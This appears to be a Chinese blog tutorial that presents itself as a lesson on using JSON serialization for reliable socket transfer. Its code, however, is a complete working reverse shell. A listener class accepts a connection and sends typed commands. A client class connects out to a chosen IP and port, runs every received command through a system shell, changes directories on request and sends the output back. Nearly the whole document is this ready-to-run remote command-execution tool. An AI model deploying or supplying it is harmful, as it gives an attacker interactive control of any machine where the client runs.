利用JSON对数据进行序列化(Serialization)实现客户端与服务端的可靠传输
本代码的主要环节在于实现客户端与服务端的可靠传输,方法是利用JSON对传输的数据进行封装。
在发送端,利用socket发送数据之前,先将数据封装为json格式。而在接收端恰恰相反。
在接收端需要加一个判断ValueError,如果说捕捉到ValueError异常,说明数据传输还没有完成,导致JSON 解封装出错,此时需要继续循环直到所有的数据的都接收完成,然后将数据进行解封装。这样即使传输的数据大于1024字节(缓冲大小),也可以实现可靠的接收。
服务端代码:
import socket import sys import json class Reverseserver: def __init__(self,port): self.port = port server_s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) try: server_s.bind(('0.0.0.0', self.port)) server_s.listen(5) print("Waiting for connection.....") self.connection, self.client_address = server_s.accept() print("Connected from : %s %s" % (self.client_address[0], self.client_address[1])) except Exception as e: print('Failed to set up server') print(e) sys.exit() def reliable_send(self, data): json_data = json.dumps(data) self.connection.send(json_data.encode('utf-8')) def reliable_receive(self): received_json_data = "" while True: try: received_json_data = received_json_data + self.connection.recv(1024).decode('utf-8') return json.loads(received_json_data) except ValueError: continue def execute_remote(self, command): self.reliable_send(command) if command[0] == 'exit': self.connection.close() sys.exit(0) return self.reliable_receive() def run(self): while True: command = input("%s $ " % str(self.client_address)) command = command.split(" ") res = self.execute_remote(command) print(res) my_server = Reverseserver(8888) my_server.run()
客户端代码:
import subprocess import optparse import sys import socket import json import os class ReverseShell: def __init__(self, server_ip, port): self.server_ip = server_ip self.port = port self.client_s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.client_s.connect((server_ip, self.port)) def reliable_send(self, data): json_data = json.dumps(data) self.client_s.send(json_data.encode('utf-8')) def reliable_receive(self): received_json_data = "" while True: try: received_json_data = received_json_data + self.client_s.recv(1024).decode('utf-8') return json.loads(received_json_data) except ValueError: continue def execute_command(self, command): try: res = subprocess.check_output(command, shell=True,stderr=subprocess.STDOUT, encoding='GBK') return res except: return 'Failed to execute' def change_to_directory(self, path): os.chdir(path) return "Changed to the directory: %s" % path def start(self): while True: command = self.reliable_receive() if command[0] == 'exit': self.client_s.close() sys.exit(0) elif command[0] == 'cd' and len(command)>1: output = self.change_to_directory(command[1]) # print(receive_data) else: output = self.execute_command(command) self.reliable_send(output) self.client_s.close() if __name__ == "__main__": parser = optparse.OptionParser(usage='<Program -s IP -p port') parser.add_option('-s', '--server', dest='server_ip', type='string', help="Sepcify the IP address of server") parser.add_option('-p', '--port', dest='port', type='int', help='Specify the port of server') options, args = parser.parse_args() if options.server_ip is None: print(parser.usage) sys.exit() if options.port is None: print(parser.usage) server_ip = options.server_ip port = options.port my_reserver_shell = ReverseShell(server_ip, port) my_reserver_shell.start()
STRIVE FOR PROGRESS,NOT FOR PERFECTION